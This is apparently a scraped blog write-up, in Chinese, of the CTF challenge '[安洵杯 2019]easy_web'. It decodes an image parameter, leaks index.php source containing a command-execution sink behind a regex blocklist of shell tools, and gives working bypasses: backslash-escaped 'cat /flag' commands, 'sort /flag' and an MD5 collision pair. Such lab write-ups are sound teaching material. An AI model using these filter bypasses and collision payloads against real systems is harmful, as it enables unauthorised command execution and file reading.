[安洵杯 2019]easy_web

 打开环境

[安洵杯 2019]easy_web_第1张图片

 img传参还有cmd

img应该是base,先解码看看

[安洵杯 2019]easy_web_第2张图片

 3535352e706e67

这个好像是十六进制的,再解

[安洵杯 2019]easy_web_第3张图片

 访问一下看看,得到一张图片

[安洵杯 2019]easy_web_第4张图片

 尝试base解码,但是没有什么发现

再看看地址栏出现index.php,应该是要下载源码,但是还没有具体的思路,看看提示

将index.php按照刚刚的思路进行一遍,得到

TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

[安洵杯 2019]easy_web_第5张图片

 看来又是解码

[安洵杯 2019]easy_web_第6张图片

';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "";
    echo "
"; } echo $cmd; echo "
"; if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) { echo("forbid ~"); echo "
"; } else { if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) { echo `$cmd`; } else { echo ("md5 is funny ~"); } } ?>

看到了三个等号,强比较,MD5绕过,过滤了cat,应该是进行命令执行

试了一下数组发现不行,因为这里使用了String强转换,数组都被强制转换

cmd传参处传入dir

ca\t%20/f\l\a\g

ca\t%20/flag

sort /flag

\t会被当成tab而跳过过滤,

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

[安洵杯 2019]easy_web_第7张图片

 

 

 

你可能感兴趣的:(前端)